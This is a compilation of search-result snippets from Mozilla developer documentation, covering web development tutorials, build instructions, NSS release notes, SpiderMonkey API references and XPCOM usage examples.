... </label> <select id="card" name="usercard"> <option value="visa">visa</option> <option value="mc">mastercard</option> <option value="amex">american express</option> </select> </p> <p> <label for="number"> <span>card number:</span> <strong><abbr title="required">*</abbr></strong> </label> <input type="tel" id="number" name="cardnumber"> </p> <p> <label for="date"> <span>expiration date:</span> <strong><abbr title="required">*</abbr></strong> <em>formatted as mm/dd/yyyy</em> </label> <input type="date" id="date" name="expiration"> </p> </section> <section> <p> <button type="submit">validate the payment</button> </p> </section> </form> css content h...
Publishing your website - Learn web development
to find hosting companies and registrars, just search for "web hosting" and "domain names".
... using an online tool like github or google app engine some tools let you publish your website online: github is a "social coding" site.
... check the "initialize this repository with a readme" box.
What will your website look like? - Learn web development
discusses the planning and design work you have to do for your website before writing code, including "what information does my website offer?", "what fonts and colors do i want?", and "what does my site do?" first things first: planning before doing anything, you need some ideas.
... click the "plus" (add to) icon next to the font you want.
... click the "* family selected" button in the panel at the bottom of the page ("*" depends on how many fonts you selected).
Using data attributes - Learn web development
just use data attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ...
... const article = document.queryselector('#electric-cars'); article.dataset.columns // "3" article.dataset.indexnumber // "12314" article.dataset.parent // "cars" each property is a string and can be read and written.
... in the above case setting article.dataset.columns = 5 would change that attribute to "5".
Choosing the right approach - Learn web development
"callback hell").
...for example: remotedb.alldocs({ include_docs: true, attachments: true }).then(function (result) { let docs = result.rows; docs.foreach(function(element) { localdb.put(element.doc).then(function(response) { alert("pulled doc with id " + element.doc._id + " and added to local db."); }).catch(function (err) { if (err.name == 'conflict') { localdb.get(element.doc._id).then(function (resp) { localdb.remove(resp._id, resp._rev).then(function (resp) { // et cetera...
...returned out of the function return fetch(url).then(response => { // depending on what type of file is being fetched, use the relevant function to decode its contents if(type === 'blob') { return response.blob(); } else if(type === 'text') { return response.text(); } }) .catch(e => { console.log(`there has been a problem with your fetch operation for resource "${url}": ` + e.message); }); } // call the fetchanddecode() method to fetch the images and the text, and store their promises in variables let coffee = fetchanddecode('coffee.jpg', 'blob'); let tea = fetchanddecode('tea.jpg', 'blob'); let description = fetchanddecode('description.txt', 'text'); // use promise.all() to run code only when all three function calls have resolved promise.all([coffe...
Build your own function - Learn web development
closebtn.onclick = function() { panel.parentnode.removechild(panel); } basically, this whole block of code is generating a block of html that looks like so, and inserting it into the page: <div class="msgbox"> <p>this is a message box</p> <button>x</button> </div> that was a lot of code to work through — don't worry too much if you don't remember exactly how every bit of it works right now!
...in a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc.
...the parentheses in this context are sometimes called the "function invocation operator".
Functions — reusable blocks of code - Learn web development
for example, say you have an html file that is calling in two external javascript files, and both of them have a variable and a function defined that use the same name: <!-- excerpt from my html --> <script src="first.js"></script> <script src="second.js"></script> <script> greeting(); </script> // first.js let name = 'chris'; function greeting() { alert('hello ' + name + ': welcome to our company.'); } // second.js let name = 'zaptec'; function greeting() { alert('our company is called ' + name + '.'); } both functions you want to call are called greeting(), but you can only ever access the firs...
... now try entering the following in your console output(y); output(z); both of these should return an error along the lines of "referenceerror: y is not defined".
... note: the referenceerror: "x" is not defined error is one of the most common you'll encounter.
Introduction to web APIs - Learn web development
this seemingly small detail has had a huge impact on the performance and behaviour of sites — if you just need to update a stock listing or list of available new stories, doing it instantly without having to reload the whole entire page from the server can make the site or app feel much more responsive and "snappy".
...if you look at our simple web audio example (see it live also), you'll first see the following html: <audio src="outfoxing.mp3"></audio> <button class="paused">play</button> <br> <input type="range" min="0" max="1" step="0.01" value="1" class="volume"> we, first of all, include an <audio> element with which we embed an mp3 into the page.
...the handler properties that allow us to run functions when events fire are generally listed in our reference material in separate "event handlers" sections.
Test your skills: Strings - Learn web development
use a combination of the variables you have and available string properties/methods to trim down the original quote to "i do not like green eggs and ham.", and store it in a variable called revisedquote.
... in fixedquote, replace "green eggs and ham" with another food that you really don't like.
...your post should include: a descriptive title such as "assessment wanted for strings 1 skill test".
Object-oriented JavaScript for beginners - Learn web development
objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances.
...for example, a student's greeting might be of the form "yo, i'm [firstname]" (e.g yo, i'm sam), whereas a teacher might use something more formal, such as "hello, my name is [prefix] [lastname], and i teach [subject]." (e.g hello, my name is mr griffiths, and i teach chemistry).
... in addition, there are a couple of problems with our bio() method — the output always includes the pronoun "he", even if your person is female, or some other preferred gender classification.
Object prototypes - Learn web development
like so: function person(first, last, age, gender, interests) { // property and method definitions this.name = { 'first': first, 'last' : last }; this.age = age; this.gender = gender; //...see link in summary above for full definition } we have then created an object instance like this: let person1 = new person('bob', 'smith', 32, 'male', ['music', 'skiing']); if you type "person1." into your javascript console, you should see the browser try to auto-complete this with the member names available on this object: in this list, you will see the members defined on person1's constructor — person() — name, age, gender, interests, bio, and greeting.
... note: before ecmascript 2015, there wasn't officially a way to access an object's prototype directly — the "links" between the items in the chain are defined in an internal property, referred to as [[prototype]] in the specification for the javascript language (see ecmascript).
... note: it is worth reading our more in-depth guide to "using prototypes in javascript", once you've made sense of this section and wish to know more.
Multimedia: Images - Learn web development
<picture> <source type="video/mp4" src="giphy.mp4"> <source type="image/webp" src="giphy.webp"> <img src="giphy.gif"> </picture> serving the optimal size in image delivery the "one size fits all" approach will not yield the best results, meaning that for smaller screens you would want to serve images with smaller resolution and vis-versa for larger screens.
..."retina").
... previous overview: performance next in this module the "why" of web performance what is web performance?
Web performance resources - Learn web development
as we learned in the critical rendering path document, linking css with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering.
... <link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'"> <noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> the downside with this approach is the flash of unstyled text (fout.) the simplist way to address this is by inlining css that is required for any content that is rendered above the fold, or what you see in the browser viewport before scrolling.
... <style type="text/css"> // insert your css here </style> javascript avoid javascript blocking by using the async or defer attributes, or link javascript assets after the page's dom elements.
Server-side website programming - Learn web development
similarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "front end".
... you will need to understand "how the web works".
... server-side website programming first steps this module provides technology-agnostic information about server-side website programming such as "what is it?", "how does it differ from client-side programming?", and "why is it useful?".
Links and Resources
the accessibility report will contain errors and warnings for "automatic checkpoints" and "manual checkpoints"; detailed and useful information (line numbers, instances/occurences, textual references to guidelines) will be included for web authors.
... cynthia says™ from hisoftware® company "cynthia says™" is a free online webpage accessibility validation service that identifies accessibility errors in webpage related to section 508 standards and/or the wcag guidelines.
... just like webxact, it can also perform a "complete webpage quality check" for accessibility, privacy, searchability, metadata and even alt text attribute quality.
Lightweight themes
lightweight themes are sometimes referred to as "background themes" or, (on addons.mozilla.org) as just "themes".
... how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui background.
... select text and tab colors — you can choose the tab ("background") color and foreground text color that work best with your header image.
Adding APIs to the navigator object
simply add an entry to the "javascript-navigator-property" category.
... programmatically adding an object to navigator var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); categorymanager.addcategoryentry("javascript-navigator-property", "myapi", my_contract_id, false, true); this adds a new object, myapi, to the window.navigator object.
...sing a manifest to add an object to navigator you can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascript-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "ffff" sections in both the component and contract lines with your guid.
Gmake vs. Pymake
gmake uses msys paths ("/c/dev/foo"), while pymake uses native windows paths ("c:\dev\foo").
... a relative configure produces paths that look like "../../foo" which can be understood by gmake and pymake.
...note that typing "python build/pymake/make.py -f client.mk" does not trigger a relative configure.
Simple Instantbird build
get the source note: on windows, you won't be able to build the instantbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings").
...first, cd into the comm-central subdirectory (created automatically by the previous command): cd comm-central then run: python client.py checkout note: unless you have a very good network connection, "hg clone" might fail because it gets interrupted.
...unbundle mozilla-central into a "mozilla" subdirectory of your comm-central repo after unbundling comm-central.
Simple Thunderbird build
26,467 mapiutil.h 02/06/2009 17:02 97,301 mapival.h 02/06/2009 17:02 9,334 mapiwin.h 02/06/2009 17:02 1,906 mapiwz.h 02/06/2009 17:02 18,277 mapix.h 02/06/2009 17:02 5,012 mspst.h get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings").
... you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
... if on windows you get link errors like "lnk1102: out of memory" or "lnk1318: unexpected pdb error; ok (0)", try deleting the largest .pdb files before rushing out the door to buy more ram.
overflow-clip-box-block
/* keyword values */ overflow-clip-box-block: padding-box; overflow-clip-box-block: content-box; /* global values */ overflow-clip-box-block: inherited; overflow-clip-box-block: initial; overflow-clip-box-block: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box.
... examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = ...
...document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box-inline
/* keyword values */ overflow-clip-box-inline: padding-box; overflow-clip-box-inline: content-box; /* global values */ overflow-clip-box-inline: inherited; overflow-clip-box-inline: initial; overflow-clip-box-inline: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box.
... examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms =...
... document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box
/* keyword values */ overflow-clip-box: padding-box; overflow-clip-box: content-box; /* two values */ overflow-clip-box: padding-box content-box; overflow-clip-box: content-box content-box; /* global values */ overflow-clip-box: inherit; overflow-clip-box: initial; overflow-clip-box: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box.
... formal syntax padding-box | content-box examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { ...
...var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
Hacking with Bonsai
the process everyone who checks into the tree, joins a group called "the hook" at 8:00 am pst every weekday morning, the source tree is closed.
...these people, when they check in, will be "on the hook" for the next day's build.
...people are "on the hook" collectively.
How to add a build-time test
the first link, though, is the "check" target in a makefile.
... for now, enclose your test-related code (in the makefile) with ifdef enable_tests run the test program from the "check" target in the makefile.
... (example to run the testcookie program) in the test program: if the test fails, exit with a non-zero status and/or print the string "fail" to stdout if the test passes, exit with a zero status and don't print the string "fail" (bonus points for printing "pass" :) ) write the test so that you expect it to pass on all platforms, since if the test fails, the tree will go orange (once we've set this up - see bug 352240 for status).
JavaScript Tips
var uniquename = { _privatemember: 3, publicmember: "a string", init: function() { this.dosomething(this.anothermember); }, dosomething: function(aparam) { alert(aparam); } }; xpconnect don't use object methods and properties more than you have to.
...the properties are: align allowevents contextmenu datasources dir flex height id left maxheight maxwidth minheight minwidth observes orient pack persist ref statustext top tooltip tooltiptext width xul also maps the ordinal attribute but this defaults to "1" if it is not present.
...(the property could have been implemented as ["class"'] but that just looks silly.) xul also maps the hidden and collapsed attributes to properties, but note that these are boolean properties whereas the above list are all string properties.
Addon
the interface can represent many different kinds of add-ons and as such, some of the methods and properties are considered "required" and others "optional," which means that the optional methods or property may not exist on addon instances for some types of add-ons.
... boolean hasresource( in string path ) parameters path a "/" separated path for the resource.
... nsiuri getresourceuri( in string path ) parameters path a "/" separated path for the resource.
Index
for example, "1 page" vs "2 pages".
...an example of a cultural reference in english would be the phrase, "kick-off meeting." this is a reference that uses an american football term.
...all we ask is that you name this page according to this example, "mozilla content in spanish (es-mx)" and add your locale code tag at the bottom.
Mozilla Content Localized in Your Language
all we ask is that you name this page according to this example, "mozilla content in spanish (es-mx)" and add your locale code tag at the bottom.
...for example, "cancel", "clear history", "add email", "select all", etc.
... articles -- avoid them articles (such as the word "the" in english) should be avoided wherever possible.
Localizing extension descriptions
the following example demonstrates this (most normal manifest properties have been removed for brevity): <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sidebar vorschaubilder der ...
... add the following line to it (where extension_id matches your application id from install.rdf and path_to_localization_file is the chrome path to the localization file you added to earlier): pref("extensions.extension_id.description", "path_to_localization_file"); localizable strings the following add-on metadata can be localized using this process: name description creator homepageurl localizable lists in cases where multiple values can exist, a numeric index is appended to the end of the preference name: extensions.extension_id.contributor.1=first_localized_contributor_name...
... extensions.extension_id.contributor.2=second_localized_contributor_name extensions.extension_id.contributor.3=thrid_localized_contributor_name pref("extensions.extension_id.contributor.1", "path_to_localization_file"); pref("extensions.extension_id.contributor.2", "path_to_localization_file"); pref("extensions.extension_id.contributor.3", "path_to_localization_file"); the following add-on metadata can be localized using this process: developer translator contributor ...
QA phase
preliminary instructions we will be using the following file directories for this example: your working directory (root)/ mozilla-aurora (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-aurora )/ l10n-central (directory for l10n directories, one per l10n; often referred to as "l10n base")/ your-locale-code (a directory with your l10n files, in this example we'll use x-testing) example: root/mozilla-aurora & root/l10n-central/x-testing additionally, you will need to copy and translate the toolkit/defines.inc file directly from en-us before you can build.
...these changesets will need to be "pushed" to the remote repository.
...for instance, if you have finished translating all the .dtd and .properties files in your x-testing/browser/chrome/browser/ directory, then you should run these commands: $ hg status $ hg commit -m "translated browser/chrome/browser/" $ hg outgoing $ hg push http://hg.mozilla.org/l10n-central/x-testing note that due to the distributed nature of hg, hg commit saves the changes locally (i.e., in your computer's hg repository).
Fonts for Mozilla's MathML engine
double-click the latinmodern-math font file click the "install the font" button from the window that opens.
... open the stixmath-regular font file and click the "install the font" button from the window that opens.
...typically, use a fontconfig configuration /etc/fonts/conf.avail/09-texlive-fonts.conf that points to the opentype directory of texlive, such as: <?xml version="1.0"?> <!doctype fontconfig system "fonts.dtd"> <fontconfig> <dir>/your/path/to/texmf-dist/fonts/opentype</dir> </fontconfig> finally, add this configuration file to the system font location list and regenerate the fontconfig cache: ln -sf /etc/fonts/conf.avail/09-texlive-fonts.conf /etc/fonts/conf.d/ fc-cache -sf android you must use the mathml-fonts add-on.
MathML Demo: <mo> - operator, fence, separator, or accent
there is an issue with the markup of "long" latex arrows in mathml.
...\longleftarrow can be scripted as <mo>&xlarr;</mo> or as <mo stretchy="true" minsize="1.8">&larr;</mo>.
...hence <mo symmetric="true"> must be scripted if the intent is to emulated latex fence behavior.
MathML Demo: <mspace> - space
<br /> height <a class="control" href="javascript:upheight();" title="increase height">+</a>/ <a class="control" href="javascript:downheight();" title="decrease height">-</a> width <a class="control" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a...
... class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function upwidth() { width++; document.getelementbyid("thespace").setattribute("width",width+".1em"); } function downwidth() { width--; document.getelementbyid("thespace").setattribute("width"...
...,width+".1em"); } function updepth() { depth++; document.getelementbyid("thespace").setattribute("depth",depth+".1ex"); } function downdepth() { depth--; document.getelementbyid("thespace").setattribute("depth",depth+".1ex"); } ...
Mozilla Web Developer FAQ
the easiest way to make sure that the standards mode is activated for html, is to use this doctype declaration: <!doctype html> the easiest way to make sure that the almost standards mode is activated for html, is to use this doctype declaration: <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> the easiest way to activate the quirks mode for html is to omit the doctype declaration.
... if the table cells that contain only an image are marked with <td class="imgcell">, the required css rule is: .imgcell img, .imgcell a { display: block; } longer explanation… why are there still gaps even between text rows in tables when the layout engine is in the standards mode or in the almost standards mode?
... <font face="symbol">a</font> means the character latin small letter a (u+0061) preferably displayed using the symbol font.
powermetrics
user%: percentage of that cpu time spent in user space (as opposed to kernel mode.) deadlines (<2 ms, 2-5 ms): these two columns count how many "short" timers woke up threads in the process, per second, during the sample period.
...the second column counts "package idle exit" wakeups, which wake up the entire package as opposed to just a single core; such wakeups are particularly expensive, and this count is a subset of the first column's count.
... there is some overlap between the two "deadlines" columns and the two "wakeups" columns.
Performance
performance best practices in extensions a performance "best practices" guide for extension developers.
... memory profiling and leak detection tools the developer tools "memory" panel the memory panel in the devtools supports taking heap snapshots, diffing them, computing dominator trees to surface "heavy retainers", and recording allocation stacks.
...the "leaks" tool is not recommended for use with spidermonkey or firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see bug 390944).
Debugging out-of-memory problems
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
...note: replace "/storage/emulated/0/download/" in the reported file path with the device's download path (e.g.
... "/sdcard/download/") when calling adb pull.
L20n Javascript API
var ctx = l20n.getcontext(); ctx.addresource('<hello "hello, world!">'); ctx.requestlocales(); requestlocales can be called multiple times after the context instance emitted the ready event, in order to change the current language fallback chain, for instance if requested by the user.
... ctx.addresource('<hello "hello, world!">'); ctx.linkresource(uri: string) add a resource identified by a url to the context instance.
...in other words, the following two calls: ctx.updatedata({ user: { name: "bob" } }); ctx.updatedata({ user: { gender: "masculine" } }); will make the internally-stored context data look like this: { "user" : { "name": "bob", "gender": "masculine" } } ctx.getsync(id: string, ctxdata: object?) retrieve a string value of an entity called id.
Midas editor module security preferences
add these lines to user.js: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); change the url https://www.mozilla.org to the site for which you want to enable this function.
...for example: user_pref("capability.policy.allowclipboard.sites", "http://www-archive.mozilla.org") is not the same as: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org") this is because the first uses http while the second uses https.
...for example: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org https://developer.mozilla.org") again, keep in mind the security risks involved here and be sure to remove permission to access the clipboard once you no longer need it enabled.
NSS 3.12.9 release notes
the bug fixes in nss 3.12.9 are described in the "bugs fixed" section below.
... bug 620908: certutil -t -d "sql:." dumps core bug 584257: need a way to expand partial private keys.
... bug 597622: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en/index.html#documentation">nss documentation.
NSS 3.16.4 release notes
the bug fixes in nss 3.16.4 are described in the "bugs fixed" section below.
... cn = gte cybertrust global root sha1 fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 in nss 3.16.3, the 1024-bit "entrust.net secure server certification authority" root ca certificate (sha1 fingerprint: 99:a6:9b:e6:1a:fe:88:6b:4d:2b:82:00:7c:b8:54:fc:31:7e:15:39) was removed.
...the intention is to mitigate the effects of the previous removal of the 1024-bit entrust.net root certificate, because many public internet sites still use the "usertrust legacy secure server ca" intermediate certificate that is signed by the 1024-bit entrust.net root certificate.
Build instructions
gmake is gnu make, usually your linux-distro-regular "make" binary file, unless maybe it is a bsd make.
... these variables should be either undefined, or set to "1".
... results are undefined for variables set to "0".
FC_GetTokenInfo
manufacturerid: id of the device manufacturer, "mozilla foundation", padded with spaces to 32 characters and not null-terminated.
... model: model of the device, "nss 3", padded with spaces to 16 characters and not null-terminated.
... serialnumber: the device's serial number as a string, "0000000000000000", 16 characters and not null-terminated.
FC_InitPIN
fc_initpin() must be called when the pkcs #11 security officer (so) is logged into the token and the session is read/write, that is, the session must be in the "r/w so functions" state (cks_rw_so_functions).
...in the nss cryptographic module, one uses the empty string password ("") to log in as the pkcs #11 so.
... ckr_user_not_logged_in: the session is not in the "r/w so functions" state.
TLS Cipher Suite Discovery
the table and the number of entries are declared in "ssl.h", as follows: /* constant table enumerating all implemented ssl 2 and 3 cipher suites.
...this function is declared in "ssl.h" as follows: ssl_import secstatus ssl_getciphersuiteinfo( pruint16 ciphersuite, sslciphersuiteinfo *info, pruintn len); the application provides the cipher suite number for which it wants information, the address of a block of memory allocated to receive that information, and the size in bytes of that block of memory.
...the sslciphersuiteinfo structure contains this information, declared in "sslt.h": typedef struct sslciphersuiteinfostr { pruint16 length; pruint16 ciphersuite; /* cipher suite name */ const char * ciphersuitename; /* server authentication info */ const char * authalgorithmname; sslauthtype authalgorithm; /* key exchange algorithm info */ const char * keatypename; sslkeatype keatype; /* symmetric encryption info */ const char * symciphername; sslcipheralgorithm symcipher; pruint16 symkeybits; ...
NSS Tools crlutil
crl generation script syntax: crl generation script file has the following syntax: line with comments should have <bold>#</bold> as a first symbol of a line set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional.
... see "implemented extensions" for more information regarding extensions and theirs parameters.
... crlutil -l -d certdir -n nickname crl info: : version: 2 (0x1) signature algorithm: pkcs #1 md5 with rsa encryption issuer: "cn=nss test ca,o=bogus nss,l=mountain view,st=california,c=us" this update: wed feb 23 12:08:38 2005 entry (1): serial number: 40 (0x28) revocation date: wed feb 23 12:08:10 2005 entry (2): serial number: 42 (0x2a) revocation date: wed feb 23 12:08:40 2005 deleting crl from a database this example deletes crl from a database in the spec...
Rhino overview
these features allow "computational reflection": that is, the ability for a script to determine and influence aspects of the way it is evaluated.
...in browser embeddings, this language version is selected using the language attribute of the script tag with values such as "javascript1.2".
... array.prototype.tostring and object.prototype.tostring version 1.2 only returns array or object literal notation ("[1]" or "{a:1, b:2}" for example).
Tracing JIT
a single instruction of lir is called a lins, short for "lir instruction".
...in this way the assembler can "patch together" multiple fragments, so that program control can flow from one fragment into another, or back out of generated code and into the interpreter.
... the term bail denotes "exiting a trace due to to a failed guard".
JS_AddArgumentFormatter
for a given format string, for example "aa", the formatter is called from js_convertargumentsva like so: formatter(cx, "aa...", js_true, &sp, &ap); sp points into the arguments array on the js stack, while ap points into the stdarg.h va_list on the c stack.
...when called from js_pushargumentsva, the formatter is invoked thus: formatter(cx, "aa...", js_false, &sp, &ap); where js_false for fromjs means to wrap the c values at ap according to the format specifier and store them at sp, updating ap and sp appropriately.
... the "..." after "aa" is the rest of the format string that was passed into js_{convert,push}arguments{,va}.
JS_SetOptions
mxr id search for jsoption_werror jsoption_varobjfix make js_evaluatescript() use the last object on its obj param's scope chain (that is, the global object) as the ecma "variables object".
... without it, the two scripts "x = 1" and "var x = 1", where no variable x is in scope, do two different things.
... mxr id search for jsoption_compile_n_go jsoption_atline //@line number ["filename"] option supported for the xul preprocessor and kindred beasts.
JS_ValueToString
the result is like the javascript expression ""+v.
... if v is true, false, null, or undefined, conversion succeeds, and the result is the string "true", "false", "null", or "undefined", accordingly.
...this might be "nan", "infinity", or "-infinity".
JSAPI reference
e been removed in js 1.8.5, though js_enterlocalrootscope obsolete since javascript 1.8.5 js_leavelocalrootscope obsolete since javascript 1.8.5 js_leavelocalrootscopewithresult obsolete since javascript 1.8.5 js_forgetlocalroot obsolete since javascript 1.8.5 added in spidermonkey 1.8 if an object contains references to other gc things that are not stored in spidermonkey data structures ("slots"), it must implement the jstraceop hook to enable the garbage collector to traverse those references.
..."define" is a lower-level version of "set" that provides access to extra settings and does not call setters.
... similarly, "lookup" is a lower-level version of "get" that offers extra options and does not call getters.
SpiderMonkey 1.8
in javascript 1.7 and earlier, x = [].length = "7"; would store the number 7 in x.
... now this statement stores the string "7" in x.
... sleep and scatter, defined in <href="internal" a="" class="/en/spidermonkey/jsapi_reference/js_threadsafe" title="en/spidermonkey/jsapi reference/js threadsafe">js_threadsafe builds only, are for testing thread-safety.</href="internal"> ...
SpiderMonkey releases
we have periodically created "releases", but they are best-effort and incomplete.
...we are very limited in our ability to support older versions, including those labeled as "releases" on this page.
...that will open a small window in the bottom left with a line like "artifact uploaded: mozjs-57.0.1.tar.bz2".
Embedded Dialog API
responsibilities of mozilla/gecko component authors writing replaceable dialogs dialogs posed by the browser ("up calls") any component which may be included in an embedded browser distribution and wishes to pose a dialog must group its ui (code which runs its dialogs) into a unique interface built just for that purpose.
...the print dialogs should be available soon.) dialogs posed by the embedding app ("down calls") some components will not pose dialogs directly, but maintain a database of information an embedding app may wish to display as a dialog.
... the dialog component's contract id should have the form "@mozilla.org/embedui/unique-component-name;1" original document information author: danm@netscape.com last updated date: 15 dec 2001 ...
Frecency algorithm
the word "frecency" itself is a combination of the words "frequency" and "recency." the default frecency value for all valid entries is -1.
...examples of invalid places are "place:" queries, and unvisited livemark feed entries.
...determine percentage bonus for type of visit (ie: the "transition type"): ....
Using the Places favicon service
creating the favicon service the favicon service's contract id is @mozilla.org/browser/favicon-service;1, so to gain access to the favicon service, you should do something like this: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); caching the favicon service stores an expiration time for each favicon.
...the annotation service's "moz-anno:" protocol handler notices annotations called "favicon" and forwards these to the favicon service.
...if the page has no favicon, or we have never heard of the page, this function will return a "chrome:" uri of the default favicon.
FUEL
fuel is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas.
...the library has also been implemented in thunderbird ("steel") and in seamonkey ("smile").
...the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/fuel/application;1"].getservice(components.interfaces.fueliapplication); ...
SMILE
smile is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas.
...the library has also been implemented in firefox ("fuel") and in thunderbird ("steel").
...the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/smile/application;1"].getservice(components.interfaces.smileiapplication); ...
extIExtension
defaults to the "extensions.<extensionid>." branch.
...supports: "uninstall" methods fixme: see also see extapplication.js line:395 for the implementation of firstrun.
... a preference "install-event-fired" under your extensions preferences branch (e.g.
How To Pass an XPCOM Object to a New Window
for example: var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"].
... getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/content/debug.xul", "debug history", "chrome,centerscreen,resizable", myobject); note in this example that myobject is passed to the openwindow() method; you can pass any xpcom object (or any other value, for that matter) in this way.
... to access the xpcom object from the window's code, you can access the window.arguments[] array, as shown in the example below: components.utils.reporterror(string(window.arguments[0])); this will produce output similar to "[xpconnect wrapped nsimyxpcomobject]".
Components.utils.evalInSandbox
for example: function double(n) { return n * 2; } // create new sandbox instance var mysandbox = new components.utils.sandbox("http://www.example.com/"); mysandbox.y = 5; // insert property 'y' with value 5 into global scope.
... mysandbox.double = double; var result = components.utils.evalinsandbox("x = y + 2; double(x) + 3", mysandbox); console.log(result); // 17 console.log(mysandbox.x); // 7 operations on objects you insert into this sandbox global scope do not carry privileges into the sandbox: mysandbox.foo = components; // this will give a "permission denied" error components.utils.evalinsandbox("foo.classes", mysandbox); optional arguments you can optionally specify the js version, filename, and line number of the code being evaluated.
